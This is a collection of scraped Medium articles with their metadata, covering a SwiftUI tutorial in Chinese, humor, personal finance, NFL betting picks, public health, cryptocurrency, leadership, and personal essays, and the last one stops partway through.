Now why were they doing this? Because they needed to save time and money. Over the years developers had come into their teams, added in all kinds of wiz-bang fad tech into their UI, and then left. Now their teams were saddled with all of the UI garbage that was costing the company millions in developer hours each time Angular or whatever SPA library had an update or an upgrade. We’re talking about touching literally millions of lines of code and tens of thousands of files across the enterprise.
I totally understand why they junked all of it. Now, I personally wouldn’t junk jQuery or Bootstrap, but those don’t need to be compiled to run; and jQuery isn’t updating every 5-minutes either. You can usually update without causing huge regressions, if any at all.
Conclusion.
The reason these fad-tech UI libraries even exist is because of bored engineers working at big tech, like Google, Facebook, Twitter, etc. But at the end of the day nothing works better and is easier to debug and maintain than just pain JS and native CSS. | https://medium.com/nerd-for-tech/why-you-should-stop-using-ui-frameworks-9289f0569a57 | ['Beau Beauchamp'] | 2021-03-28 01:42:18.514000+00:00 | ['Angular', 'Libraries', 'CSS', 'UX', 'UI'] |
SwiftUI 教程 1.1 文本与图片 | Eul
本文为 Eul 样章，如果您喜欢，请移步 AppStore/Eul 查看更多内容。 Eul 是一款 SwiftUI 教程类 App（iOS、macOS），以文章（文字、图片、代码）配合真机示例（Xcode 12+、iOS 14+，macOS 11+）的形式呈现给读者。笔者意在尽可能使用简洁明了的语言阐述 SwiftUI 相关的知识，使读者能快速掌握并在 iOS 开发中实践。
Text
本地化字符串
SwiftUI 中涉及到字符串的地方，基本都支持普通的字符串和本地化字符串。Text 的初始化方法也不例外：
/// 普通字符串
init<S>(_ content: S) where S : StringProtocol /// 本地化字符串
init(_ key: LocalizedStringKey, tableName: String? = nil, bundle: Bundle? = nil, comment: StaticString? = nil)
我们先创建多语言文件，分别写入中英文的 Stay Hungry, Stay Foolish! 文本，通过枚举去获取对应的 LocalizedStringKey，然后就可以使用 Text(LocalizeKey.Hungry) 方便地展示本地化字符串了。
enum LocalizeKey {
static let kHungry: LocalizedStringKey = "Hungry"
} struct LocalizableView: View {
var body: some View {
Text(LocalizeKey.kHungry)
}
} // "Hungry" = "Stay Hungry, Stay Foolish!";
// "Hungry" = "求知若饥，虚心若愚!";
富文本
Text 实现了操作符重载，我们可以直接用 + 来拼接不同样式的文字。
struct RichTextView: View {
private let text: Text =
Text("Stay ").foregroundColor(.blue).font(.title).italic() +
Text("Hungry, ").font(.headline) +
Text("Stay ").foregroundColor(.red).font(.title) +
Text("Foolish!").font(.headline).underline()
var body: some View {
text
}
}
另外，Text 本身遵循 Equatable 协议，我们还可以直接使用 == 和 != 来对两个 Text 进行判等。
日期
Text 甚至可以直接展示日期，现在创建一个倒计时控件只需要一行代码就可以实现！
Text 的初始化方法有如下几种：
/** 以下日期均指当地日期 */ /// 使用指定样式展示日期
public init(_ date: Date, style: Text.DateStyle) /// 展示日期范围
public init(_ dates: ClosedRange<Date>) /// 展示日期间隔
public init(_ interval: DateInterval)
DateStyle 有如下枚举值：
public struct DateStyle {
/// 时间，比如：11:23PM
public static let time: Text.DateStyle
/// 日期，比如：June 3, 2019
public static let date: Text.DateStyle
/// 相对现在的时间，比如：2 hours, 23 minutes
public static let relative: Text.DateStyle
/// 与现在的时间差，比如：-3 months，+2 hours
public static let offset: Text.DateStyle
/// 倒计时，比如：36:59:01
public static let timer: Text.DateStyle
}
下面我们通过代码展示其用法：
struct DateView: View {
private var future: Date { now.addingTimeInterval(3600) }
private var now: Date { Date() }
var body: some View {
VStack(alignment: .leading, spacing: 10) {
row(style: ".date") { Text(now, style: .date) }
row(style: ".offset") { Text(future, style: .offset) }
row(style: ".relative") { Text(future, style: .relative) }
row(style: ".time") { Text(future, style: .time) }
row(style: ".timer") { Text(future, style: .timer) }
row(style: "Range") { Text(now...future) }
row(style: "Interval") { Text(DateInterval(start: now, end: future)) }
}
}
func row<Content: View>(style: String, @ViewBuilder content: () -> Content) -> some View {
VStack {
HStack {
content()
Spacer()
Text(style).foregroundColor(.secondary)
}
Divider ()
}
}
}
先简述一下 @ViewBuilder 的作用：它可以用来修饰闭包参数，并从中构建视图。
.offset 、 .relative 和 .timer 展示的时间都是根据秒数变化的，其它样式的日期则是静态的。
Label
构建方法
Label 是一个相当强大的控件，可以快速生成图片和文字的组合，默认布局是左图右文，也支持自定义配置。
它有如下初始化方法：
init<S>(S, image: String) init<S>(S, systemImage: String) init(LocalizedStringKey, image: String) init(LocalizedStringKey, systemImage: String) // Title: View, icon: View
init(title: () -> Title, icon: () -> Icon)
我们试着用以上方法构建不同的视图，代码和界面如下：
Label("Swift", systemImage: "swift")
.foregroundColor(.orange) Label(
title: {
Text("Apple")
},icon: {
Image(systemName: "applelogo")
}
)
.foregroundColor(.blue) Label(
title: {
Image(systemName: "gift.fill")
.renderingMode(.original)
},icon: {
Text("Gift")
}
)
.foregroundColor(.red)
.labelStyle(TitleOnlyLabelStyle())
LabelStyle 有如下三种样式：
DefaultLabelStyle // Title + Icon
IconOnlyLabelStyle // 只显示 Icon
TitleOnlyLabelStyle // 只显示 Title
自定义样式
上面的构建方法中，其实还有一种是未曾提及的：
init(LabelStyleConfiguration)
LabelStyleConfiguration 是一个结构体类型，包含 Icon 和 Title。
我们可以通过这个初始化方法，给系统提供的样式添加自定义的样式。
比如我们需要给 Label 加上阴影，可以先创建一个遵循 LabelStyle 协议的 ShadowLabelStyle，然后使用该样式。下面代码中的 Configuration 实际上就是 LabelStyleConfiguration ，只不过系统通过 typealias Configuration = LabelStyleConfiguration 改头换面了而已。
Label("Apple", systemImage: "applelogo")
.labelStyle(ShadowLabelStyle()) struct ShadowLabelStyle: LabelStyle {
func makeBody(configuration: Configuration) -> some View {
Label(configuration)
.shadow(color: Color.black.opacity(0.5), radius: 5, x: 0, y: 5)
}
}
上面的样式有一定的局限性，如果我们需要一个垂直布局或是左右对齐的样式呢？实现的原理是一样的，代码如下：
struct VerticalLabelStyle: LabelStyle {
func makeBody(configuration: Configuration) -> some View {
VStack(alignment: .center, spacing: 10) {
configuration.icon
configuration.title
}
}
} struct LeftRightLabelStyle: LabelStyle {
func makeBody(configuration: Configuration) -> some View {
HStack(alignment: .center, spacing: 10) {
configuration.icon
Spacer()
configuration.title
}
}
}
TextField
TextField 有如下的三种构建方式：
普通的初始化方法 在方法 1 的基础上新增了监听功能，可以监听编辑状态、Return 键的按下动作 在方法 2 的基础上新增了格式转换功能
前两种方法比较简单，这里说一下方法 3 的细节。如下样例是将输入的文字转换成数字，当我们正在输入的时候，格式转换功能是不生效的，只有当编辑结束的时候，才会去执行转换，如果转换成功，会更新绑定的值（s3），如果转换失败，不会更新 s3。
@State private var s1 = ""
@State private var s2 = ""
@State private var s3 = 0
@State private var pwd = "" GroupBox(label: Text(s1)) {
/// 1
TextField("TextField", text: $s1)
} GroupBox(label: Text(s2)) {
/// 2
TextField("Observe TextField", text: $s2) { (isEditing) in
print(isEditing)
} onCommit: {
print("Return")
}
.textFieldStyle(RoundedBorderTextFieldStyle())
} GroupBox(label: Text(String(s3))) {
/// 3
TextField("Formatter TextField", value: $s3, formatter: NumberFormatter()) {
(isEditing) in
print(isEditing)
} onCommit: {
print("Return")
}
.textFieldStyle(RoundedBorderTextFieldStyle())
.keyboardType(.numbersAndPunctuation)
} GroupBox(label: Text("密码输入: \(pwd)")) {
/// 密码输入
SecureField("Password", text: $pwd)
}
TextEditor
TextEditor 的使用比较简单，如下代码我们就可以轻松创建一个文本输入框：
@State private var text = "Stay Hungry, Stay Foolish!" TextEditor(text: $text)
.frame(height: 150)
.lineSpacing(10.0) // 行距
.multilineTextAlignment(.center) // 对齐方式
.overlay(
RoundedRectangle(cornerRadius: 5)
.stroke(Color.blue, lineWidth: 1)
)
系统并没有提供 placeholder 这样的特性，不过我们可以轻松实现这个功能。
// 添加 placeholder
ZStack(alignment: .topLeading) {
TextEditor(text: $text2)
.frame(height: 150)
.border(Color.blue)
if text2.isEmpty {
Text("Type something")
.foregroundColor(Color(UIColor.placeholderText))
.padding(8)
}
}
Image
Image 用来展示图片，它可以加载资源包中的图片文件和系统内置的图标（SF Symbols）。
以下是几点提示：
图片默认具有伸展特性， .resizable() 可使图片不超出屏幕或指定区域
可使图片不超出屏幕或指定区域 如果要展示 SF Symbols 内置图标自带的颜色，可以用 .renderingMode(.original). 来渲染。
来渲染。 Text 可以直接插入图片，支持字符串插值和拼接两种方式 | https://medium.com/@bruce2077/swiftui-%E6%95%99%E7%A8%8B-1-1-%E6%96%87%E6%9C%AC%E4%B8%8E%E5%9B%BE%E7%89%87-c0cb579e93d6 | [] | 2020-12-22 06:08:11.840000+00:00 | ['Swift', 'Tutorial', 'Swiftui', 'Apps', 'iOS'] |
I Am The Monster Under Your Bed, But You Never Leave Your Bed… Are You Okay? | I Am The Monster Under Your Bed, But You Never Leave Your Bed… Are You Okay? Ashley Chen Follow Apr 4 · 3 min read
Photo by Camila Quintero Franco on Unsplash
Hello — don’t scream. It’s me, Bo Geyman. I am the monster under your bed, but I’ve noticed you never leave your bed… are you okay?
From my basic grasp on anthropology, I’m thinking you’re NOT okay.
You are an extreme homebody, and it’s concerning me. Do you not have a career or social life? Or do you reside home all day because you’re a creature like me, deathly allergic to sunlight?
So the mess in your room is contaminating my subterranean space. Down here, I’ve found empty cans of Coors, some matches, your scorched business cards… Oh, I see… you’re having a quarter-life crisis.
It’s tough being in your twenties! Hey, I get it. Wait actually… I don’t. Mortality means nothing to me… I subsist forever! But I’ll attempt to nudge you in the right direction because contrary to popular belief, I do have a heart. That’s why I’m so great with kids.
Starting off, clean your fleshly vessel. I promise I won’t jump-scare you when you’re in the shower! Ew, I would never voluntarily look at a naked human body. What kind of monster do you think I am? On the topic of hygiene, you need to air out your acrid duvet too. It’s starting to smell worse than Death in here, and I’ve been at his presence many times! Ha ha!
Oh god, please don’t cry. I forgot death is a touchy subject due to your existentialist cogitations…
Umm… maybe socialize to distract from your life’s purpose. I would talk to you, but I don’t think we have any compatible interests unless you’re into H.P. Lovecraft. Fun fact: I’m the one who inspired Cthulhu! So cheer up; you’re in the presence of a freaking celebrity! Want me to carve my autograph in blood for you? No? Fine. Well, I also have some incubus or succubus pals that you can hang with? Do MORE with? No? Fine.
Then find a shrink to express yourself! Don’t mention this particular exchange though otherwise they’ll toss you in the loony bin. You don’t want that, trust me. The creatures under those asylum cots are definitely battier. They’ll grab your exposed cankles at the base of your bed and YANK you into the shadow realm! Like geez, at least I have SOME restraint! They don’t, and you’ll be DEAD — eviscerated probably!
Ahh, don’t cry! I keep forgetting death’s a SENSITIVE SUBJECT for you.
Let me get to my most frustrating point! As a nocturnal creature, I slumber in the day. However, I cannot repose between noon and evening when all I hear at these hours is snivels through our shared mattress, such as: “I disgust myself,” “Am I overstaying my self-proclaimed sabbatical from my self-employed work?” or “Where’s my Mr. Darcy?? I don’t want to WORK for a living anymore!!” often followed by a guttural, 15-minute groan, squeaky bed springs and episodes of Fleabag blasting on a laptop shortly after?? Then at 2 AM, when I’m supposed to lurk in the shadows, the lights are entirely flipped on, expelling my sweet dark, and you are belting Enya’s Only Time! It’s honestly a lot! You’re scaring ME, and that’s VERY ironic!
I suggest you rest by listening to the calm, cosmic whispers of the night! Or you can tune into my podcast, “Enochian Circadian,” in which I chant arcane meditations to lull prey to a drowse! Or maybe I can strangle you to sleep!
Honestly, let me throttle you to sleep! That way I can finally fulfill MY raison d’être, which is siphoning nightmares into your head! Oh, you’ll have plenty of quirky dreams to share with your Starbucks colleagues in the morning! This is a win-win idea! Would you mind holding still for a second? | https://medium.com/slackjaw/i-am-the-monster-under-your-bed-but-you-never-leave-your-bed-are-you-okay-dae19f8285dd | ['Ashley Chen'] | 2020-05-23 10:38:48.427000+00:00 | ['Millennials', 'Humor', 'Monsters', 'Introvert', 'Satire'] |
6 Ways To Protect Your Finances From Inflation | Hi everyone, thank you for coming back to my blog. I hope you found my last blog interesting and useful, where I covered ‘7 Ways To Decide If You Should Save, Invest Or Pay Off Debt’.
In today’s blog, I am going to cover the different ways in which you may be able to protect your finances from inflation, before inflation starts eating up your savings and ruins any of your plans for the future.
Here are the ways you may be able to protect your finances from inflation:
1. Understand purchasing power
Purchasing power refers to your ability to buy items such as necessities and luxuries. One of the main issues with inflation is that your purchasing power goes down as inflation goes up. For example, your £1 could buy an item yesterday, but today you’ll need £3 to buy the same item.
Unfortunately, interest rates and incomes can’t always keep up with inflation.
2. Consider investing in the stock market
If you have investments in the stock market, instead of taking them out after every drop, plan a long term strategy. Long term investments in stocks may protect you from inflation.
Commodities tend to increase in value during inflation. For example, coffee or grains may survive inflation well on the stock market because they are commodities.
For a beginner’s guide on how to invest please ready my previous 3 part blogs on Investing For Beginners.
3. Consider investing in property
Property can be a powerful investment tool, however, although property prices can go up during inflation, you have to consider your ability to handle all of the loans and mortgages as a result of the investment. Even if you rent out the properties, how will you handle periods without renters?
Commercial property can be even more complicated than buying a home. If you want to invest in commercial property, then you also have to deal with planning laws and extra fees.
4. Consider investing in your future
You have the power to survive inflation, and you can take steps to deal with it. Have you considered investing in your future by getting addtional qualifications or becoming more financially literate?
Additional qualifications, maybe in your current field or something completely different, may help you earn more money and provide a bigger cushion during times of inflation.
Becoming more financially literate will enable you to understand how you can make money work for you so that the effect of inflation is reduced during your life, meaning your future income and plans are more likely to stay intact.
Here are my personal recommendations to get started on becoming for financially literate:
5. Consider making your income sources grow
This ties in with the point above because if you can make your sources of income increase, either through a promotion at work with any extra qualifications or a side hustle from becoming more financially literate, then inflation will have a lower impact on you.
6. Get rid of debt
As inflation rises, the interest rates on your debts can also rises, so if you can pay off your debts, then you don’t have to worry about it. However, if you can’t pay off all of your debts, be prepared to make higher payments during times of inflation.
For ways on how to pay off credit card related debt sooner, click here. | https://medium.com/@easypeasymoney/6-ways-to-protect-your-finances-from-inflation-3a5593c909cf | ['Kalpen Patel'] | 2021-02-09 17:43:15.897000+00:00 | ['Financial Freedom', 'Money Mindset', 'Money Management', 'Inflation', 'Money'] |
MONDAY NIGHT FOOTBALL — Picks & Plays! Ravens vs Browns | Monday, December 14th
8:15 PM ET
BALTIMORE RAVENS (-3) at CLEVELAND BROWNS ; O/U 45.5
Model Z Projection: 27–23 BAL
Straight Up Pick: Cleveland Browns
Spread Pick: CLE +3⭐
O/U Pick: Over 45.5⭐
Zack’s Plays:
- Mark Andrews to score (+140)
- Mark Andrews to score 2x (+900)
- Lamar Jackson Over 195.5 Passing Yards (-110)
- CLE D/ST to score (+650)
- Lamar Jackson to throw INT (+124)
Top DFS Matchups: Mark Andrews ($5,300)!, Lamar Jackson ($7,400), Marquise Brown ($5,800)
Notable Inactives: CLE CB1 Denzel Ward
Notes: An AFC North Monday Night Football matchup with big playoff implications. These teams are 7th (Ravens) and 12th (Browns) in the Model Z and we should get a really good game tonight. There’s one player however that is inactive tonight that I cannot get past and that is Cleveland CB1 Denzel Ward. This Browns defense has been pretty good but only has a few players that are highly rated on my model and Ward is the 2nd best (behind Myles Garrett) with a 90 rating. Losing a player of that caliber is like losing a starting RB on offense in my opinion so I am already leaning towards Baltimore for this one. Baltimore over the past few weeks has had the same problem without DL Calais Campbell among others and I believe that’s why they have struggled. They seem to be back to almost full-strength though and that defense is pretty scary when healthy so we’ll see if Baker can handle the pressure. The model agrees with my 1st reaction projecting a 4 point advantage on the road on MNF. With Ward out, their secondary is vulnerable so I’m curious if Lamar can take it to the air tonight with a 200+ game. The one thing I’m nervous about is Baltimore’s Offensive Line. They are towards the bottom of the list at 28th and face one of the best pass rushers in the game in Myles Garrett and their 2nd ranked defensive line. Wow, that’s pretty significant and is making me think twice here. Yeah, I’m switching. Give me the Browns and that significant advantage in the trenches, along with a better offense than the Ravens. Low confidence though obviously.
For matchups, there are a few all in favor of the Ravens:
- The Browns are 30th vWR. Baltimore has a “true #1 WR” in Marquise Brown but he’s still not super reliable so I think he should get some opportunities, just need Lamar to get it to him
- The Browns are 31st vTE. This is the matchup that I think can really get exploited with Mark Andrews. I expect a big game by him.
- Lastly its the Browns vQB at 19th. If Lamar takes it to the air, I think they can get it done tonight, but he has broken the 250 passing yard mark only once and that was week 1. | https://medium.com/@zack-nicol11/monday-night-football-picks-plays-ravens-vs-browns-672e31eeccce | ['Zack Nicol'] | 2020-12-14 21:56:08.161000+00:00 | ['Fun', 'Footbal', 'NFL', 'Gambling', 'Monday Night Football'] |
Healthcare Providers Called to Become COVID-19 Vaccinators | EL PASO, Texas — The City of El Paso Department of Public Health (DPH) encourages local healthcare providers to join the fight against COVID-19 by becoming COVID-19 vaccine providers.
DPH is calling on all local healthcare providers, including pharmacies, to become COVID-19 dispensing sites by enrolling with the Texas Department of State Health Services as a COVID-19 vaccine provider and receive vaccine allocations on a regular basis.
“It is only through community-wide participation by our fellow healthcare providers that we will successfully make vaccine widely available and easily accessible to all El Paso City-County residents within our own neighborhoods,” said Public Health Director Angela Mora.
Mora said the simple enrollment process does require providers to have an active National Provider Identifier (NPI)/Texas Provider Identifier (TPI) number. Providers will be asked to follow all recommendations by the Advisory Committee on Immunization Practices and report vaccine usage.
To enroll or learn more visit http://www.epstrong.org/vaccine.php, or click below: | https://medium.com/@zipitzimmerman/healthcare-providers-called-to-become-covid-19-vaccinators-be0f89c76a6d | ['Steven E Zimmerman'] | 2020-12-22 04:05:10.452000+00:00 | ['Vaccination', 'Covid', 'El Paso', 'Texas'] |
Dear 2020 | Photo by Rachel Lavelle December 2020
I don’t think I’ve ever tried to write one of those letters that you write in order to give those who live across the country an idea of what has happened over the last twelve months. I’m not sure why I decided that this year was the year to do it — no, that’s not exactly true.
I’ve spent most of this year trying to write my way out of it. I am a writer, after all, writers are, at heart, escape artists. We spend our days creating other worlds to lose ourselves in.
This morning, just a little over a week before the end of 2020, I find I cannot escape to a few lines of poetry, or a short story, and so I find myself trying to explain what it means to live right now.
I didn’t take a drink from May 2018 until early on the morning of November 4, 2020. At two thirty that morning, I had finished baking 9 dozen Snickerdoodle cookies. I was shaking, because I knew that in spite of everything, in January 2021, we would get to start again, and I realized I hadn’t really felt anything since November 2016. I made it through most of a pandemic and the years after a failed relationship without taking a single drink, but that morning, I needed something to yank me out of that numbness. So, I got out my roommate’s whisky and poured myself a double.
Some people may see that as a failure. I don’t. It was a choice I made. I made a choice to stop drinking, and I made the choice to drink again.
This year has been about choices. Choices that we make as individuals in the present moment, and choices that we or our ancestors have made in the past. I can only speak for myself, but this year has taught me that we are all addicts in one form or another. I know I will always be in recovery, not because I’m an alcoholic, but because I’m human. I’d like to think if I had to, I could give up my laptop, and my access to all the voices out there on the internet, but I think it would be worse than not being able to reach for a drink for over two years. We all are dependent on something, whether it’s a drug, or a person, or getting a tweet to go viral. We still have not learned, even now, that we should be interdependent. We (I mean this a general we) have not yet learned that how we treat each other really matters.
I have four children, or I should say, I have given birth to four people. They are all remarkable in their own ways, and one day I hope that they will live in a better world. A world that invites all of us to live as we wish, regardless of the color of our skin, our gender, and who we love. I hope that no matter how the world evolves from this year we won’t forget when a hug was more precious than anything else on the planet. | https://medium.com/an-idea/dear-2020-328dbdbb40a2 | [] | 2020-12-24 03:00:14.350000+00:00 | ['2020', 'Covid 19', 'Essay', 'Life'] |
Doubt: The forgotten skill of the future | We’re so used to outsourcing our thinking to others that we’ve forgotten what it’s like to really understand something from all perspectives. We’ve forgotten just how much work that takes. The path of least resistance, however, is just a click away. Reading headlines and skimming the news seems harmless, but it is harmful because it makes us over-confident — in our investments, our political views and other aspects of our lives too.
Doubt is needed as an antidote to this. In Svend Brinkmann’s excellent book “Stand Firm: Resisting the Self-Improvement Craze”, Brinkmann rages against the craze for certainty that modern life demands and suggests that doubt is not just a luxury, but a necessary skill that we all should start to develop:
In essence, certainty is necessarily dogmatic, whereas doubt has an important ethical value. How do I figure that out? Well, certainty’s “I know” easily leads to blindness — especially when you know that it’s best to say yes. Doubt on the other hand leads to openness, to other ways of acting and new understandings of the world. If I know, I don’t need to listen. But if I’m in doubt, other people’s perspectives are endowed with greater meaning.
Doing your own research is the first step in bringing doubt into your daily life. It will feel uncomfortable, it will feel tiring, it will feel like its a waste of time…at least at first. But by reading widely, in your own area of interest but across different disciplines you will be much more comfortable in expressing your view, where there is evidence to back up a particular viewpoint, and where there is not.
Remember, the insights of the future will come from those who are able to understand how the picture fits together, how developments in one part of the world will affect something on the other side — something that to everyone else feels at first to be completely unrelated.
Open your mind to new possibilities. Be doubtful. | https://petersainsbury.medium.com/doubt-the-forgotten-skill-of-the-future-856efb8abd7f | ['Peter Sainsbury'] | 2018-10-24 04:55:13.761000+00:00 | ['Personal Development'] |
Integrations that matter: Dash Text and Cryptobuyer | The crypto space is full of fluff, it is not uncommon to see projects joining forces and integrating their services in different ways just to make an announcement and look like they’re doing something. Many do cool stuff, but ultimately most of those integrations are just solutions looking for a problem, making empty announcements that do not end up making a difference in the real world.
At Dash Text we find solutions to real problems, and every integration we make is very unique at making the Dash cryptocurrency more accessible, seamless, and easier to use for regular folks. Our goal is to provide the tools for people who are desperately in need of financial services that they can rely upon and that can genuinely make their lives easier.
Another great company who we believe has a similar vision is Cryptobuyer. Cryptobuyer is my go-to platform whenever I need to sell some Dash for Venezuelan Bolivares (VES), as their exchange is incredibly easy to use, very well designed, and works beautifully. They also have super cool cryptocurrency ATMs, a PoS system and more! They are solving real problems and broadening the access to cryptocurrency.
All of this makes me incredibly excited to talk about not one, not two, but three awesome integrations that we’re working on with our friends at Cryptobuyer, integrations that are meaningful and solve real problems, aimed to making people’s lives easier, these are integrations that matter.
Integration #1: Buying Dash at Cryptobuyer.io and receiving it on your Dash Text wallet by simply typing your phone number.
This is very similar to what we did with our friends of Bitnovo in Spain, one of the key problems for day to day users is long addresses, they look horrible, copy/pasting is cumbersome as you check and double check that it is the right one, we all know they’re annoying, but we just deal with them. Using your phone number instead makes it way easier for regular people to get comfortable with cryptocurrency, our users certainly enjoy sending money just with their phone number. So, very soon, Dash Text users with Cryptobuyer accounts will be able to buy Dash at Cryptobuyer.io, type their phone number as the recipient, and instantly receive the money, easy and simple.
Integration #2: Dash Text Purchase command on the Cryptobuyer PoS system.
Dash Text is currently integrated on the Dash Merchant PoS system with our purchase command, making it super easy for people to make payments in retail shops who have that system, the PoS shows a special 5 digit purchase code below the traditional QR Code, so that Dash Text users can also make seamless payments, it works just as good as scanning the QR Code, almost effortless on the user side. The Dash Text purchase command will soon be available on the Cryptobuyer PoS system, and we’ll be releasing the APIs publicly as well so that any Dash PoS system can integrate this beautiful payment method too.
The Cryptobuyer PoS system is currently being used in Traki for example, one of the biggest retailers in Venezuela, they sell all kinds of stuff at a relatively cheap price, many of the people who go to Traki do not have smartphones, so allowing them to pay with their Dash Text wallets on the CryptoBuyer PoS system is a very useful thing.
Integration #3: Cash-outs in Bolivares directly from your Dash Text wallet.
This is the one that has me most excited, at Dash Text we have a heavy focus on remittances, our integration with Bitnovo in Spain allows people to send a remittance back home in the easiest way possible as the ramp-on is frictionless, however people here in Venezuela still didn’t have the easiest ramp-off option just yet. We’re partnering with Cryptobuyer to build a cash-out option that is as simple as it can get, ultimately Dash Text users will be able to receive Dash at their Dash Text wallet, and type a simple cash-out command, which will automatically sell the amount of Dash they want through the Cryptobuyer exchange, receiving the Bolivares (VES) on their Venezuelan Bank account the same day, how awesome is that?!
Removing obstacles like long addresses, gruesome KYCs, and providing simple payment options as well as ramp on and off options, those are all steps to make cryptocurrency accessible to the people who really need it, people who are not tech savvy, people who need systems that just work, this is the great opportunity we have in Venezuela, and we will keep making a difference.
Lorenzo
Co-Founder and CTO of Dash Text | https://medium.com/@lorenzoreycamejo/integrations-that-matter-dash-text-and-cryptobuyer-e8d632839547 | ['Lorenzo Rey'] | 2019-04-27 19:48:38.659000+00:00 | ['Venezuela', 'Dashpay', 'Bitcoin', 'Cryptocurrency', 'Dash'] |
CAN WE AFFORD ANOTHER LOCKDOWN IN NIGERIA? | CAN WE AFFORD ANOTHER LOCKDOWN IN NIGERIA?
The world is experiencing the second wave of the COVID 19 pandemic and economies are responding by announcing lockdowns.
Can we afford another lockdown in Nigeria?
Assessing the impact of the first lockdown will provide a clear answer to the question. The first lockdown was effective from 30th March and lasted for one month until it was eased gradually. This lockdown coincided with the start of planting season for most crops in major farming communities. Movement of persons was restricted across the country and as a result, access to farmlands was restricted. The movement restrictions also reduced demand for fresh food produce most of which was left to rot in the farms and at the markets. The impact of this is the increase in food inflation to 18.3% as of November 2020 according to the NBS, the highest in 33 months. Onions for example became a very rare agricultural item. Surveys with some onion farmers revealed that restriction in the movement of persons was one of the factors that affected the cultivation of onions. Till now, we are yet to recover from the scarcity of onions. This is the same for other food items whose cultivation season started at the time the first lockdown was announced.
Some sectors such as Aviation are still struggling to keep up with overhead costs. The entertainment sector has not fully gotten back on its feet. This is the same for the education sector.
The Federal Government on the other hand is sourcing more resources through debt in order to have the resources to boost economic growth through social welfare programs. Despite these efforts, the effect of the first lockdown is still biting hard. On the other hand, NCDC statistics show that 87% of the confirmed cases have been discharged and 0.02% of deaths have been recorded from the confirmed cases. This is the same trend for most African countries. The real reason for this relatively low lethal effect of the virus compared to other countries in other continents has not been exactly established for now.
With the effects of the first lockdown still lingering, the approach to the second wave of the pandemic should rather be to strengthen compliance to COVID-19 protocols, rather than lock down the economy the second time. Locking down the economy a second time might result in more dire consequences than the COVID 19 virus itself. | https://medium.com/@veroedeminam/can-we-afford-another-lockdown-in-nigeria-892c0d28bb6f | ['Veronica B. Edeminam'] | 2020-12-21 08:10:36.118000+00:00 | ['Nigeria', 'Lockdown', 'Inflation', 'Economics', 'Covid 19'] |
Driving Change | When you drive change within your program you will naturally get some push back (directly or indirectly). Implementing change involves a learning process for staff along with the adoption of new tasks. For some, these added responsibilities can feel overwhelming or constricting, while others may feel threatened by the departure from the old ways. Some may outright disagree with the initiative because they are not philosophically aligned with the effort. As the leader of your program, it is important to know each member of your staff’s attitude towards the initiative. The quad chart below provides a mechanism for you to gauge your staff’s level of understanding and commitment.
The 2x2 chart provides a simple mechanism to gauge the “buy-in” of your staff members. Specifically, it asks two essential questions:
1. Do they understand (Can they do it)?
2. Are they committed (Will they do it)?
The answers to these two questions reveal insight to help you better lead staff through the adoption process. There are a few more insights hidden in this simple diagram. I’ve numbered the quadrants using Roman numerals I to IV, starting with the ideal quadrant up and to the right and continuing counter-clockwise.
Properly combined, high understanding and high commitment reveal what every head coach seeks and wants — a “Champion.” A champion displays a unique blend of both understanding and commitment.
High commitment combined with low understanding reveal a “Good Soldier.” A good soldier understands authority and the chain-of-command but doesn’t clearly understanding the new initiative. They will be compliant because they don’t want to let the head coach down. Their lack of understanding, however, may result in less than ideal execution.
Low commitment and low understanding reveal a “Doubter.” A doubter does not understand why they are being asked to change and, as a result, will exhibit a low level of commitment to abide by the rules. Doubters frustrate leaders because they just don’t seem to “get it.” Surprisingly, however, many doubters can quickly be converted to champions simply by helping them understand why they are doing it and how to do it.
Finally, low commitment and high understanding reveal a “Saboteur.” This person understands what you are seeking to accomplish, but has knowingly decided to subvert the change process. Consider them indifferent at best and negligent at worst. The saboteur is most dangerous to a team.
So how do we do create a staff full of champions? The first step is education — an intentional effort to inform staff members why we need to make the change, how it will positively affect them and the team, and how to integrate the change into their existing practices. Proper education will shift staff members from quadrants 2 and 3 to either 1 or 4. The second is motivation — providing a reason to adopt the change by demonstrating the value it will deliver and connecting their effort to a set of rewards or consequences. Proper motivation will shift staff members from quadrants 3 and 4 to either 1 or 2. The goal is to move up and to the right on this 2x2 chart.
By considering each staff member’s understanding and attitude towards the current initiative, you can specifically target your messaging in a way that will increase your odds of gaining acceptance that will lead to successful adoption to what you are trying to achieve. | https://medium.com/horizonperformance/driving-change-db56df4fd6ca | ['Jat Thompson'] | 2019-02-06 21:55:29.567000+00:00 | ['Sports', 'Coaching', 'Leadership', 'Change'] |
AMAL TOTKAY | Amal always gives me creative way to improve myself . Amal totkay is one of these ways . So what are Amal totkay. Amal totkay are the five tips that help you to develop an entrepreneurial mindset.
First totka: Self Talk
Self talk has always been my favorite hobby and this is my favorite tip. Self talk is a way of communicating your inner self. When you start to talk to yourself in a positive way you get motivated and develop a growth mindset because your mind processes things that you tell it to do. For instance if I tell myself in front of a mirror that I look pretty my mind will automatically start to admire myself.
Second totka: Get out of your comfort zone
We will never be able to grow or learn new things if we bound ourselves to certain limits . We need to continuously challenge ourselves and improve ourselves only then we will be able to fight this changing world and this can be done only when we are ready to leave our comfort zone
So success lies out of your comfort zone.
Third totka: Create new habits
Explore yourself by creating new habits. Don’t just sit and repeat your regular routine but instead try to implement new things in your routine. This is a way to move from fixed mindset to growth mindset.
Fourth totka: Ask people help
Sometimes you get stuck with certain things . You are not able to solve them all by yourself. At that time muster up some courage go to the people who you think have skills to solve that problem and ask for help.
Fifth totka: Fake it till you make it
This totka suggests that if you pretend to be someone that you are not actually then finally you end up being like this.
“You must be the person you have never had the courage to be. Gradually, you will discover that you are that person, but until you can see this clearly, you must pretend and invent.”
― Paulo Coelho
By applying this tip we can convert ourselves from being introvert to extrovert from being shy to confident. | https://medium.com/@hurmat-zahrah179/amal-totkay-fd88a2f200d0 | ['Hurmat Zahrah'] | 2021-04-08 12:07:10.347000+00:00 | ['Courage', 'Amal Academy', 'Amal Totkay', 'Motivation', 'Confidence'] |
3 Reasons Why I Did Not Reply to Your Text Message Yet | 3 Reasons Why I Did Not Reply to Your Text Message Yet
“Let us not attribute to malice and cruelty what may be referred to less criminal motives.” — Jane West
Look, I acknowledge this is not a very popular opinion. And I’m happy to admit that I occasionally feel anxious, or even insulted, when somebody doesn’t text me back right away. I get it.
Before I get into this, these are the actions I’m not defending:
When someone reads your text message, and is too lazy to respond
When someone reads your text message, puts it off, and then never respond because “they forgot”
When someone is playing “the game” and so deliberately wait to text you back and seem mysterious, or can’t think of a witty reply
Here’s why I don’t text everyone back immediately, and why you shouldn’t text everyone back right away (except for me obviously):
1. Driving
